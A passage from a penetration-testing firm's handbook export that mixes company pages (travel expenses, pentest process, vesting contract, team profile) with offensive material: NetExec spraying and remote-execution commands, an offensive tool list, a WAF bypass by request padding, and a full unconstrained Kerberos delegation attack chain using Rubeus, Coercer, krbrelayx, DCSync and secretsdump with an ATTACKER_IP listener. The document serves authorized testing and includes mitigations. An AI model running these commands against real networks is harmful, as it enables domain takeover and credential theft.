* Salt: {salt.decode(\"utf-8\")}') printKerberosKeys(rawpassword, salt) printMachineKerberosKeys(\"lab.internal\", \"hostname\", \"\") ``` Output: ```powershell PS & C:/Users/User/python3.12.exe \"c:/Users/User/Untitled-1.py\" LAB.INTERNAL\\$ * Salt: LAB.INTERNALhosthostnamelab.internal * rc4_hmac_nt: * aes128_hmac: * aes256_hmac: ``` ## NetExec Check machine account quota: ```sh nxc ldap $IP -u user -p pass -M maq ``` Get logged-on users: ```sh # Password spray nxc smb $IP -u username -p 'pwd' --loggedon-users # Execute scheduled task as loggedon user: nxc smb $IP -u username -p 'pwd' -M schtask_as -o USER=usr1 CMD=whoami ``` Enumerate NFS shares: [NetExec NFS enumeration](https://www.netexec.wiki/nfs-protocol/enumeration) ```sh # Enumerate shares on target ip nxc nfs $IP --shares # List files of fileshare nxc nfs $IP --share '/var/nfs/general' --ls '/' ``` --- --- url: 'https://handbook.syslifters.com/pentesting-manual/pentesting-toolset.md' description: >- Recommended tools and plugins we use for pentesting across web, AD/Windows, and reporting workflows. --- # Pentesting Toolset This is a list of our toolset that we recommend for running pentests. You know or you want to know something else? [Ask us](/contact-us.md)! ## Helper Tools | For this | We use | |-------------------|-----------------------------------------------------------------------------------------| | Pentest Reporting | [SysReptor](https://docs.sysreptor.com){target="\_blank"} | | Screenshots | [Flameshot](https://flameshot.org/){target="\_blank"} | | Note Taking | [SysReptor](https://docs.sysreptor.com/){target="\_blank"} | | Diagrams | [Excalidraw](https://excalidraw.com/){target="\_blank"} (also available in SysReptor) | ## Pentests in General | For this | We use | |-------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------| | Encoding/Decoding | [CyberChef](https://github.com/gchq/CyberChef){target="\_blank"} (also available in SysReptor) | | Database GUI | [DBeaver](https://dbeaver.io/){target="\_blank"} | | Data Leak Lookup | [SysLeaks](https://sysleaks.com/){target="\_blank"}, [Kaduu](https://kaduu.io/){target="\_blank"}, [HIBP](https://haveibeenpwned.com/){target="\_blank"} | | PW Cracking | [hashcat](https://hashcat.net/hashcat/){target="\_blank"}, [Hashtopolis](https://docs.hashtopolis.org/){target="\_blank"} | | PW Lists | [SysLeaks](https://sysleaks.com/){target="\_blank"}, [Weakpass](https://weakpass.com/){target="\_blank"} | | Open TCP Ports | [portquiz](http://portquiz.net/){target="\_blank"} | | Traffic Capture | [Wireshark](https://www.wireshark.org/){target="\_blank"}, `tcpdump` | ## Web Tests | For this | We use | |-----------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------| | Web App Testing | [Burp Professional](https://portswigger.net/burp){target="\_blank"} | | Directory and File Search | [dirsearch](https://github.com/maurosoria/dirsearch){target="\_blank"}, [gobuster](https://github.com/OJ/gobuster){target="\_blank"} | | Web Spider and Endpoint Detection | [katana](https://github.com/projectdiscovery/katana){target="\_blank"} | | URL Collection (Archives) | [gau](https://github.com/lc/gau){target="\_blank"}, [waybackurls](https://github.com/tomnomnom/waybackurls){target="\_blank"} | | JS URL Discovery | [subjs](https://github.com/lc/subjs){target="\_blank"} | | HTTP Probe / URL Filtering | [goverview](https://github.com/j3ssie/goverview){target="\_blank"} | | Web Vuln Scanner | [Burp Professional](https://portswigger.net/burp){target="\_blank"}, [nuclei](https://github.com/projectdiscovery/nuclei){target="\_blank"} | | SSL Inspection | [sslyze](https://github.com/nabla-c0d3/sslyze), [tls-scanner](https://github.com/tls-attacker/tls-scanner){target="\_blank"} | | SQLi Exploitation | [sqlmap](https://sqlmap.org/){target="\_blank"} | | Cookie Cracking | [cookiemonster](https://github.com/iangcarroll/cookiemonster){target="\_blank"} | | JWT Tampering | [jwt\_tool](https://github.com/ticarpi/jwt_tool){target="\_blank"} | | Secret Discovery | [TruffleHog](https://github.com/trufflesecurity/trufflehog){target="\_blank"}, [SecretFinder](https://github.com/m4ll0k/SecretFinder){target="\_blank"} | ## Burp Plugins | For this | We use | |---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | Authorization Testing | [Auth Analyzer](https://portswigger.net/bappstore/7db49799266c4f85866f54d9eab82c89){target="\_blank"}, [Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f){target="\_blank"} | | JWT Testing | [JSON Web Tokens](https://portswigger.net/bappstore/f923cbf91698420890354c1d8958fee6){target="\_blank"}, [JWT Editor](https://portswigger.net/bappstore/26aaa5ded2f74beea19e2ed8345a93dd){target="\_blank"} | | SAML Testing | [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e){target="\_blank"} | | Endpoint Detection via JS | [JS Link Finder](https://portswigger.net/bappstore/0e61c786db0c4ac787a08c4516d52ccf){target="\_blank"} | | Additional Vuln Scans | [Active Scan++](https://portswigger.net/bappstore/3123d5b5f25c4128894d97ea1acc4976), [Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa){target="\_blank"} | | HTTP Request Smuggling | [HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646){target="\_blank"} | | ViewState Editing | [ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc){target="\_blank"} | | Java Platform Scanner | [J2EEScan](https://portswigger.net/bappstore/7ec6d429fed04cdcb6243d8ba7358880){target="\_blank"} | | Pingback Erkennung | [Collaborator Everywhere](https://portswigger.net/bappstore/2495f6fb364d48c3b6c984e226c02968){target="\_blank"} | | sqlmap Integration | [SQLiPy Sqlmap Integration](https://portswigger.net/bappstore/f154175126a04bfe8edc6056f340f52e){target="\_blank"} | | IP Restriction Bypass | [IP Rotate](https://portswigger.net/bappstore/2eb2b1cb1cf34cc79cda36f0f9019874){target="\_blank"} | | WAF Bypass | [nowafpls](https://github.com/assetnote/nowafpls){target="\_blank"} | ## Active Directory & Windows Tests We provide some of the following tools precompiled at [GitHub](https://github.com/Syslifters/offsec-tools){target="\_blank"}. | For this | We use | |--------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | AD Enumeration | [BloodHound](https://github.com/BloodHoundAD/BloodHound), [ADRecon](https://github.com/sense-of-security/ADRecon){target="\_blank"}, [NetExec](https://github.com/Pennyw0rth/NetExec){target="\_blank"} | | AD CS Exploitation | [Certify](https://github.com/GhostPack/Certify){target="\_blank"}, [Certipy](https://github.com/ly4k/Certipy){target="\_blank"} | | AD Queries | [PowerView](https://powersploit.readthedocs.io/en/latest/Recon/), [SeatBelt](https://github.com/GhostPack/Seatbelt){target="\_blank"} | | LDAP Queries (Linux/macOS) | [bloodyAD](https://github.com/CravateRouge/bloodyAD){target="\_blank"}, [pyldapsearch](https://github.com/Tw1sm/pyldapsearch/tree/main){target="\_blank"} | | AD Analysis | [PingCastle](https://www.pingcastle.com/){target="\_blank"}, [PurpleKnight](https://www.purple-knight.com/){target="\_blank"} | | DNS Dump | [adidnsdump](https://github.com/dirkjanm/adidnsdump){target="\_blank"} | | Windows Password Extraction | [mimikatz](https://github.com//mimikatz), [lsassy](https://github.com/Hackndo/lsassy){target="\_blank"}, pypykatz | | Local Credential Extraction | [LaZagne](https://github.com/AlessandroZ/LaZagne){target="\_blank"} | | Powershell Runspace | [Stracciatella](https://github.com/mgeeky/Stracciatella){target="\_blank"} | | MachineAccountQuota/DNS Exploitation | [Powermad](https://github.com/Kevin-Robertson/Powermad){target="\_blank"} | | Kerberos Interactions | [Rubeus](https://github.com/GhostPack/Rubeus){target="\_blank"}, [Kerbrute](https://github.com/ropnop/kerbrute){target="\_blank"} | | Network Protocol Attacks | [Impacket](https://github.com/SecureAuthCorp/impacket){target="\_blank"}, [Responder](https://github.com/SpiderLabs/Responder), [Inveigh](https://github.com/Kevin-Robertson/Inveigh){target="\_blank"}, [Coercer (source)](https://github.com/p0dalirius/coercer){target="\_blank"} ([Coercer.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Coercer.exe){target="\_blank"}) | | Local Privesc | [SharpUp](https://github.com/GhostPack/SharpUp), [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS), [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS){target="\_blank"}, [Crassus](https://github.com/vullabs/Crassus){target="\_blank"} | | Local Process Monitoring | [Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon){target="\_blank"} | | SCCM Credential Gathering | [SharpSCCM](https://github.com/Mayyhem/SharpSCCM){target="\_blank"} | | RDP MitM | [pyrdp](https://github.com/GoSecure/pyrdp){target="\_blank"} | | Shadow Credential Exploitation | [Whisker](https://github.com/eladshamir/Whisker){target="\_blank"} | | WSUS Abuse | [SharpWSUS](https://github.com/nettitude/SharpWSUS){target="\_blank"} | | Entra ID Authentications | [ROADtools](https://github.com/dirkjanm/ROADtools){target="\_blank"} | | Entra ID / Azure Enumeration | [AzureHound](https://github.com/SpecterOps/AzureHound){target="\_blank"}, [GraphRunner](https://github.com/dafthack/GraphRunner){target="\_blank"}, [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki/Setup){target="\_blank"} | | SMB Share Audit | [Snaffler](https://github.com/SnaffCon/Snaffler){target="\_blank"} | --- --- url: >- https://handbook.syslifters.com/organization/human-resources/travel-expenses.md description: >- General guide for business travel - choosing a hotel, picking the right transportation (ÖBB or car), tracking costs and getting compensation. --- # Travel expenses This page is a general guide for business travel: what to do before you go, how to pick a hotel and how to get to the customer site, and how to track expenses and get them compensated. ## Hotel booking When you choose a hotel, look for something as close to the customer location as you can, so you can walk there comfortably or reach it easily by public transport. It is also good to keep an eye on the price and pick something reasonable. We usually book on [booking.com](https://www.booking.com){target="\_blank"}. Use the map on the site to see what is nearby. For the room, look for a maximum of 150€ per night including breakfast. That is a guideline, not a fixed cap. In a tourist area or during a busy week it can happen that a room costs more than that. Apart from location and price, pick what you like and what you need. If you travel with colleagues, talk to them first so everyone is fine with the hotel. If you are happy with your pick, check that enough rooms are free for everyone in your group. Then send the booking.com link and the details (dates, room type, number of guests) to one of the founders. They will place the booking for you. ## Getting there How you travel depends on where the pentest is and what is practical for the trip. ### Public transport If the site is in a place we can reach well by train, we prefer going by train via ÖBB for economy and sustainability reasons. For example, if the business location is in Salzburg city, it is well reachable and going by train makes more sense than by car. Make sure your ÖBB account is in the Syslifters ÖBB Business Unit before you buy tickets. If it is not set up yet, ask Christoph to add you. In the business unit you book tickets on invoice (the invoice goes directly to Syslifters once a month, so you do not pay anything yourself up front), and tickets come with a 20% discount. Workflow for train tickets: 1. Get written confirmation from the customer that the pentest is approved and will be onsite. 2. Plan the journey in the ÖBB ticket shop. Check date, time, stations, and names carefully before you pay. 3. Book the ticket. If you can, book for colleagues on the same order so they do not all repeat the same steps. Someone on the trip may use a private Klimaticket instead of a company ticket. That is allowed, and we pay the ticket holder back using a fictive ticket (see below under [Klimaticket compensation](#klimaticket-compensation)). If you use other public transport on the trip (tram, bus, metro), keep every receipt. We cannot reimburse a ticket without one. For trips of around three hours or longer, especially if you want to work on the train, 1st class is often worth it. You can decide case by case. Working on the train means you should watch for shoulder surfing, use a privacy screen or angle your display, lock your laptop when you leave your seat, and never leave equipment unattended. ### Car Sometimes public transport is not realistic, or you would spend too much time commuting each day. Then travelling by car is fine. Still try to carpool. It is cheaper and better for the environment if not everyone drives alone. Any car trip where you claim Kilometergeld must be logged in the Fahrtenbuch part of the [Reisekostenrechner](#reisekostenrechner). Use the shortest reasonable route. If you detour, write down where you went and why (for example a crash on the A1 or a closed road). Note which parts of the drive had colleagues in the car. ## Expenses and compensation ### Receipts For anything you pay yourself (train tickets, seat reservations, parking, local transport, and similar), you need a receipt. Without it we cannot pay you back. Scan receipts and store them digitally, then hand them in to one of the founders together with the rest of your travel expense documents (e.g. the Reisekostenrechner). ### Reisekostenrechner The Reisekostenrechner.xlsx is the spreadsheet we use to calculate what gets paid out for a business trip. It uses the Austrian §26 EStG rates and works out the Taggeld and Kilometergeld for you, so you only have to fill in the actual trip data. The file has three kinds of sheets: * "Meta" lists the current rates (Kilometergeld, Mitfahrer-Zuschlag, Taggeld Inland, Kürzung bei bezahltem Essen). You normally do not change anything here. * "Reise 1" to "Reise 5" is one sheet per business trip. You fill in: * Whether the trip meets the Taggeld conditions (more than 25 km from the place of work, more than 3 hours away, number of meals provided by the customer). * The trip details (employee, project or cost centre, customer site, start and end date and time). * The Fahrtenbuch if you went by car (date, departure and arrival time, odometer start and end, passengers). * "Gesamt" sums up all trips and shows the total payout. Fill in only the input fields on the left of the trip sheets. The Berechnungen column on the right and the Gesamt sheet are calculated automatically. Go through everything once more before you send it to the founders. If a field is unclear, ask. ### Klimaticket compensation If you took the train on your private Klimaticket, you did not buy a ticket for the trip, but we can still reimburse you. We use a fictive ticket: the price you would have paid with a Vorteilscard Classic on the train you actually used. Steps: 1. Open the [ÖBB ticket planner](https://tickets.oebb.at){target="\_blank"}. 2. Enter the same route, date, and time as your real trip. 3. Select the train you travelled on. 4. Choose the Vorteilscard Classic discount. 5. Screenshot the order page that shows the price (you do not need to buy). 6. Add the screenshot when you submit your Reisekostenrechner. Example screenshot: ![ÖBB ticket planner order page with Vorteilscard Classic discount](/assets/Fiktiver-Fahrtkostenersatz-Klimaticket.png){ width="800"; } --- --- url: 'https://handbook.syslifters.com/de/pentesting-vorgehen.md' description: >- Unser Vorgehen beim Pentest – von Vorbesprechung und Durchführung bis Bericht, Behebung und kostenlosem Re-Test innerhalb von 8 Wochen. --- # Überblick zu unserem Vorgehen bei Pentests Unser Ziel ist ein planbarer, transparenter Pentest mit laufender Abstimmung und schriftlichem Bericht, der euch bei der Behebung wirklich unterstützt. ## 1) Vorbesprechung Vor dem Start klären wir die wichtigsten Punkte: * Abklärung der Risiken und des Bedrohungsmodells * Besprechung des Testumfangs (Scope) und der Grenzen * Erhebung, was wir für den Test benötigen (Systemzugriff, Testbenutzer, Freischaltungen/Whitelisting, etc.) ## 2) Start des Pentests Wir starten den Pentest im vereinbarten Zeitraum und innerhalb des vereinbarten Scopes. ## 3) Zwischenpräsentation während des Pentests Während des Pentests vereinbaren wir optional eine kurze Zwischenpräsentation (mit Dauer von etwa einer Stunde): * Präsentation der Zwischenergebnisse * Gegenseitiger Austausch und Rückfragen * Bei Bedarf Prioritäten nachschärfen (innerhalb des vereinbarten Scopes) ::: tip Umgang mit kritischen Findings Bei kritischen Schwachstellen mit unmittelbarem und schwerwiegendem Risiko für unsere Kunden, informieren wir unsere Ansprechpartner in der Regel sofort über die vereinbarten Kommunikationskanäle (von uns empfohlen: Signal Messenger). Bei Bedarf dokumentieren wir die Schwachstelle schriftlich und geben Handlungsempfehlungen zur kurzfristigen Absicherung. Spätestens im Abschlussbericht dokumentieren wir die Schwachstelle ausführlich und geben auch Empfehlungen zur langfristigen Absicherung. ::: ## 4) Erstellung und Übermittlung des Berichts Nach Abschluss der Tests erstellen wir den Bericht im PDF-Format und übermitteln ihn an euch.\ Wie unsere Berichte aussehen, seht ihr in unseren [Demo-Berichten](/de/pentesting-demo-reports). ## 5) Kundenseitige Behebung der Schwachstellen Ihr behebt die gefundenen Schwachstellen, idealerweise risikobasiert (zuerst die kritischen Punkte). ## 6) Kostenloser Re-Test innerhalb von 8 Wochen Werden Schwachstellen innerhalb von acht Wochen nach Übermittlung des Berichts behoben, testen wir diese einmalig kostenlos nach. Dies beinhaltet eine neue Berichtsversion mit Anmerkungen zum Behebungsstatus. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/kerberos-delegation/unconstrained-delegation.md description: >- Abusing TRUSTED_FOR_DELEGATION to capture forwardable TGTs and impersonate users who authenticate to a compromised host. --- # Unconstrained Kerberos delegation When "Trust this computer for delegation to any service (Kerberos only)" is enabled on a computer (or, rarely, a user) account, the KDC embeds a forwardable copy of the client's TGT inside the service ticket sent to that host. Any process running as `SYSTEM` on the server can extract that TGT and request new service tickets as that user to any SPN in the forest. The host becomes a ticket collection point: compromise it once, then wait for (or force) high-value Kerberos logons. See the diagram on [Delegations overview](./delegations-overview) for the trust direction. ::: warning Default on domain controllers Every DC computer object has unconstrained delegation by design. The practical attack is almost always a member server (file server, legacy app server, Exchange, SCCM distribution point, etc.) that admins or services still authenticate to with Kerberos. ::: ## Who is in scope | Requirement | Notes | | --- | --- | | Control of the delegating host | Local admin / `SYSTEM` on the unconstrained-delegation computer, or credentials for that computer account plus a remote coercion setup ([krbrelayx](https://github.com/dirkjanm/krbrelayx)). | | Victim uses Kerberos to the host | NTLM-only logons do not forward a TGT. | | Victim is delegatable | Not in Protected Users, not flagged as "Account is sensitive and cannot be delegated". | | RID 500 `Administrator` | Not protected by those flags even if added to Protected Users ([SensePost, 2023](https://sensepost.com/blog/2023/protected-users-you-thought-you-were-safe-uh/)). | ## Enumeration ```powershell # PowerView Get-DomainComputer -Unconstrained Get-DomainUser -Unconstrained # AD module (computers) Get-ADComputer -Filter {TrustedForDelegation -eq $True} -Properties TrustedForDelegation # LDAP bit: TRUSTED_FOR_DELEGATION (0x80000) on userAccountControl # BloodHound: "Unconstrained Delegation" / edges to such computers ``` ```sh # Impacket impacket-findDelegation 'domain.local/user:pass' # NetExec LDAP module nxc ldap dc01.domain.local -u user -p pass -M find-delegation ``` Prioritise hosts where tier-0 / DA sessions or DC machine accounts are likely to authenticate (file/print, backup, WSUS, Exchange, SCCM, monitoring agents). ## Attack chain: compromised host (Windows) Typical path: own a member server with unconstrained delegation, capture tickets locally, coerce a privileged principal to authenticate. ### 1. Confirm delegation and compromise the host Land local admin or `SYSTEM` on the target (e.g. `FILE01.domain.local`). ### 2. Monitor for incoming TGTs From an elevated context on that host: ```powershell Rubeus.exe monitor /interval:5 /nowrap # Optional: only high-value names Rubeus.exe monitor /interval:5 /filteruser:Administrator /nowrap ``` See [Tool cheat sheet: Rubeus monitor](/pentesting-manual/active-directory/tool-cheat-sheet#rubeus). ### 3. Trigger Kerberos authentication to the host Passive: wait for an admin or service to open a share, RDP, SCCM push, backup job, etc. Active coercion: use [Coercer.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Coercer.exe) ([upstream repo](https://github.com/p0dalirius/coercer)) to force the remote server to initiate a connection to the compromised host. ```sh # Optional: see which coercion methods work on the victim Coercer.exe scan -d domain.local -u user -p pass -t dc01.domain.local # Coerce dc01 to authenticate to FILE01 (Rubeus monitor must be running on FILE01) Coercer.exe coerce -d domain.local -u user -p pass -t dc01.domain.local -l FILE01 ``` Run from any foothold with valid domain credentials - the coerced principal is usually the target's machine account (`DC01$`). ### 4. Use the captured TGT Rubeus prints a base64 TGT when `monitor` catches one: ```powershell Rubeus.exe ptt /ticket: # DCSync as that user (if rights allow) mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt # Or remote admin Rubeus.exe createnetonly:cmd.exe /show Rubeus.exe ptt /ticket: # In the new window: dir \\dc01\c$ ``` S4U2self (optional): with a user TGT, request a service ticket to the victim's own machine and obtain local admin on their current session host without DCSync. Useful when the ticket is not DA. ## Attack chain: remote Use when you have credentials for the unconstrained account but not shell on the host (common for dedicated service users; computer accounts can self-manage `msDS-AdditionalDnsHostName`). 1. Add an attacker SPN on the compromised account (`HOST/randomspn.domain.local`, `HTTP/randomspn.domain.local`, `CIFS/randomspn.domain.local`). 2. Register DNS for that name ([dnstool](https://github.com/dirkjanm/krbrelayx), or RSAT tools) pointing to your listener. 3. Start `krbrelayx.py` with the correct long-term key (AES256 for computer accounts; RC4 for user accounts). 4. Coerce the victim with [Coercer.exe](https://github.com/Syslifters/offsec-tools/blob/main/bin/Coercer.exe) (`-l` = NetBIOS name registered in step 1); `krbrelayx` decrypts the ticket and writes `Administrator.ccache` / `krbtgt.ccache`. 5. `export KRB5CCNAME=...` and use Impacket (`psexec`, `secretsdump`, etc.). ### From Linux ```sh addspn.py -u 'lab\FILE01$' -hashes ':NThash' -s 'CIFS/randomspn.domain.local' --additional dc01.domain.local dnstool.py -u 'lab\FILE01$' -hashes ':NThash' -r randomspn.domain.local -d 10.0.0.50 --action add dc01.domain.local krbrelayx.py -aesKey # SMB coercion (default); use --auth-type http if krbrelayx listens on HTTP coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l attacker export KRB5CCNAME=$(pwd)/Administrator.ccache impacket-secretsdump -k -no-pass dc01.domain.local ``` ### From Windows ```powershell setspn -U -S cifs/randomspn.domain.local domain\delegation_account Invoke-DNSUpdate -DNSType A -DNSName randomspn ATTACKER_IP krbrelayx.exe --krbsalt 'DOMAIN.LOCALdelegation_account' --krbpass 'user_password' # SMB coercion (default); use --auth-type http if krbrelayx listens on HTTP coercer coerce -d domain.local -u user -p pass -t dc01.domain.local -l randomspn # Convert ccache ticket to .kirbi (e.g. on linux) cat ticket.b64 | base64 -d > ticket.kirbi # Add the ticket to your session (you might need a netonly session) Rubeus.exe ptt /ticket:ticket.kirbi ``` ## Common pitfalls | Pitfall | What goes wrong | | --- | --- | | Expecting a DA user TGT from DC coercion | Coercer against a DC usually yields the target's machine account (`DC01$`), not a human DA. Still powerful (DCSync via machine account rights, further relay), but not an instant `DOMAIN\Administrator` user TGT. | | NTLM-only coercion | No forwardable TGT in the ticket; delegation abuse fails. Prefer Kerberos-coercible paths or wait for real Kerberos logons. | | Protected / sensitive victims | KDC omits the TGT; monitor stays empty for those principals. | | RID 500 Administrator | Still delegatable; do not rely on Protected Users alone for this account. | | Wrong key in krbrelayx | `Ciphertext integrity failed`: computers default to AES256; legacy user delegation accounts often RC4. Supply `/aesKey`, `-hashes`, or `--krbsalt` / `--krbpass`. | | Insufficient privilege on host | `Rubeus monitor` needs admin / `SYSTEM` to read other logon sessions' Kerberos caches. | | DNS / SPN lag | Remote krbrelayx: wait for AD DNS (~minutes) before coercion; verify with `nslookup`. | | Treating every UAC host equally | Compromising a print server nobody uses is a dead end; target hosts in the auth path of DCs or admins. | ## Mitigation Remove unconstrained delegation wherever it is not strictly required: * ADUC, computer, *Delegation* tab, *Do not trust this computer for delegation*, or clear *Trusted for delegation* in PowerShell / LDAP (`userAccountControl` without `TRUSTED_FOR_DELEGATION`). * Replace with [constrained delegation](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview) or [RBCD](./rbcd) scoped to specific SPNs. Protect privileged identities: * Place tier-0 / tier-1 accounts in [Protected Users](https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) (blocks TGT delegation; does not apply to RID 500). * Enable "Account is sensitive and cannot be delegated" on service and admin accounts that must never be impersonated. * Enforce tiered administration: no interactive DA logons on member servers, especially those with any delegation. Reduce exposure: * Inventory regularly: `Get-ADComputer -Filter {TrustedForDelegation -eq $True}`, BloodHound, PingCastle. * Prioritise internet-facing, DMZ, and legacy app tiers first. * Monitor anomalous Kerberos TGT export / DCSync after auth to delegation-enabled hosts. Legacy apps: if unconstrained delegation cannot be removed immediately, isolate the server, restrict who can authenticate, and treat the host as tier-0 adjacent until replaced. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/universal-waf-bypass.md description: >- Many WAFs inspect only the first N KB of a request body; prepend junk to push payload past inspection limits. --- # Universal WAF bypass (request padding) Source: > Most web application firewalls (WAFs) have limitations for how much data they can process when a request body is sent. > This means for HTTP requests that contain a request body (i.e., `POST`, `PUT`, `PATCH`, etc.), it is usually possible to > bypass the WAF by simply prepending junk data. > > When the request is padded with this junk data, the WAF will process up to (X) KB of the request and analyze it, but > everything after the WAF’s limit will pass straight through. > > ## Documented WAF limitations > > | WAF Provider | Maximum request body inspection size limit | > |-----------------------|--------------------------------------------------------| > | Cloudflare | 128 KB for ruleset engine, up to 500 MB for enterprise | > | AWS WAF | 8 KB - 64 KB (configurable depending on service) | > | Akamai | 8 KB - 128 KB | > | Azure WAF | 128 KB | > | Fortiweb by Fortinet | 100 MB | > | Barracuda WAF | 64 KB | > | Sucuri | 10 MB | > | Radware AppWall | up to 1 GB for cloud WAF | > | F5 BIG-IP WAAP | 20 MB (configurable) | > | Palo Alto | 10 MB | > | Cloud Armor by Google | 8 KB (can be increased to 128 KB) | ## What WAF is in use? Use [wafw00f](https://github.com/EnableSecurity/wafw00f) to identify WAFs. --- --- url: 'https://handbook.syslifters.com/de/pentesting-ansatz.md' description: >- Wie sich Zeit und Wissen auf die Effizienz von Penetrationstests auswirken und wann wir Grey- oder White-Box-Ansätze bevorzugen. --- # Unser Pentesting-Ansatz Die Effizienz von Pentests, die von kompetenten Pentestern durchgeführt werden, hängt im Wesentlichen von zwei Parametern ab: **1. Zeit** * Je mehr Zeit Pentester haben, desto mehr Schwachstellen können sie finden. * Mit zunehmender Dauer sinkt die Anzahl gefundener Schwachstellen pro Zeiteinheit. * Daumenregel: Wenn es ein Pentester in einem gewissen Zeitrahmen nicht schafft, eine Applikation zu kompromittieren, schaffen es Angreifer bei gezielten Angriffen unter ähnlichen Umständen auch nicht. **2. Wissen** * Je mehr Hintergrundwissen Pentester haben, desto effizienter sind sie. * Wissen umfasst beispielsweise technische Dokumentationen, Source Code und Benutzerzugänge (oftmals auch administrative). * Ein Wissensvorsprung der Pentestern schafft einen Zeitvorteil echten Angreifern gegenüber. Aus diesem Grund versuchen wir einen sinnvollen Zeitrahmen für den Scope zu definieren (nicht zu kurz und nicht zu lang), sowie im Austausch mit unseren Auftraggebern ausreichend viel Wissen zu erlangen. Dies umfasst insbesondere Benutzerzugänge, Dokumentationen und die Auswirkungen auf Geschäftsprozesse.\ Um die bestmögliche Leistung mit so geringen Kosten wie möglich liefern zu können, empfehlen wir und streben nach Pentests, die zwischen Grey- und White-Box liegen. In manchen Fällen weichen wir von diesem Bestreben ab. So sind reine Cloud-Tests (etwa Entra ID, Azure Apps, etc.) oftmals als White-Box-Test effizienter, während bei Tests von externen Perimetern mit einer Vielzahl an Zielsystemen und heterogenen Benutzerzugängen ein Black-Box-Test zu bevorzugen sein könnte. \~~Source-Code-Analysen sind ebenfalls White-Box-Tests, haben jedoch meist den Nachteil mangelnder Effizienz. Wir empfehlen Sourcecode-Analysen vornehmlich für kleine, jedoch geschäftskritische oder risikoträchtige Code-Teile, wie etwa (Aus-)Zahlungs-Logiken, Freigabeprozesse, Schnittstellen zu physischen Geräten, und ähnliche. Hierbei unterstützen wir im Webumfeld gängige Programmiersprachen, darunter Java, C#/.NET, PHP, Python, JavaScript/TypeScript sowie moderne Frameworks wie ASP.NET, Django, Node.js, oder Vue.JS. Zusätzlich beherrschen wir auch C und C++.~~ Die Entwicklungen der KI machte umfassende Quellcode-Analysen nicht nur umsetzbar, sondern steigerte unsere Effizienz erheblich. Wir empfehlen, den Quellcode von Applikationen für die automatisierte Analyse mit unserem Quellcode-Analyse-Framework zur Verfügung zu stellen. Wir können selbstgehostete Modelle auf unserer eigenen Infrastruktur (in der Regel kleinere) oder in der EU bzw. den USA gehostete Cloud-Modelle verwenden. Cloud-gehostete Modelle nutzen wir für Closed-Source-Anwendungen nur mit der expliziten Genehmigung unserer Kunden. --- --- url: 'https://handbook.syslifters.com/de/vesting-vertrag.md' description: >- Erklärung und Auszug der Vesting-Vereinbarung der Syslifters-Gründer (Vesting-Zeitraum, Einziehung/Clawback bei vorzeitigem Ausstieg). --- # Unser Vesting-Vertrag Wir sind vier Gründer und haben als Holdings jeweils eine Ein-Personen-GmbH gegründet, die wiederum die Syslifters GmbH als gemeinsame Betriebs-GmbH gegründet haben (siehe auch [hier](/index.md)).\ Das Risiko, dass jemand nicht mehr mag und aussteigt gibt es natürlich. Dafür haben wir eine "Vesting-Vereinbarung" geschlossen. Wir haben uns dabei verpflichtet, zumindest drei Jahre dabeizubleiben und aktiv mitzuarbeiten. Wer früher aussteigt, verliert aliquot Geschäftsanteile. ???+ abstact "Unser Vesting-Vertrag" Die Geschäftsanteile der EIGENTÜMER an der GESELLSCHAFT unterliegen einem Vesting. Stellt eine der NATÜRLICHEN PERSONEN ihre ganze Arbeitskraft im Ausmaß von mindestens 30 Wochenstunden (gerechnet auf den Jahresdurchschnitt des Wirtschaftsjahres) nicht mehr der GESELLSCHAFT uneingeschränkt zur Verfügung und ist die von ihr sonst ausgeübte Tätigkeit keine Tätigkeit im Interesse der GESELLSCHAFT, ist die GESELLSCHAFT berechtigt, die Geschäftsanteile des von ihr kontrollierten EIGENTÜMERs ganz oder teilweise gegen Rückzahlung der aliquoten Stammkapitaleinlage einzuziehen. ``` Entsprechende Optionsvereinbarungen sollen insbesondere vorsehen: Der Anteil der der Einziehung unterliegenden Geschäftsanteile reduziert sich um 1/36 für jeden seit dem 01.05.2022 vollendeten Monat. Dementsprechend behalten die EIGENTÜMER jeweils 100 % ihrer Geschäftsanteile an der GESELLSCHAFT, sofern die aktive Tätigkeit der den EIGENTÜMER kontrollierenden NATÜRLICHEN PERSON für die GESELLSCHAFT jeweils mindestens bis zum 01.05.2025 aufrechterhalten wird. Im Falle eines Liquidationsereignisses vor dem 01.05.2025 gelten sämtliche Geschäftsanteile mit dem Wirksamwerden eines solchen Ereignisses als gevestet (Accelerated Vesting) mit der Folge, dass eine Einziehung danach nicht mehr möglich ist. ``` --- --- url: 'https://handbook.syslifters.com/de/ueber-uns.md' description: >- Lernt unsere Pentester kennen – hochqualifizierte Security-Profis mit fundiertem akademischem Hintergrund, relevanten Zertifizierungen sowie Erfahrung aus internationalen Cybersecurity-Wettbewerben und Übungen. --- # Unsere Pentester Die meisten unserer Pentester verfügen über ein abgeschlossenes Studium in IT-Security und/oder Information Security. Darüber hinaus haben einige unserer Pentester einschlägige Zertifizierungen (etwa OSCP, CCNA, ITIL, IT-Forensik, Firewall-Administration, Datenbank-Administration) und sind teils mehrmalige Sieger der European Cyber Security Challenge, der Austrian Cyber Security Challenge und Teilnehmer der NATO-Übung Locked Shields. Darüber hinaus engagieren wir uns bei internationalen technischen Übungen (darunter die 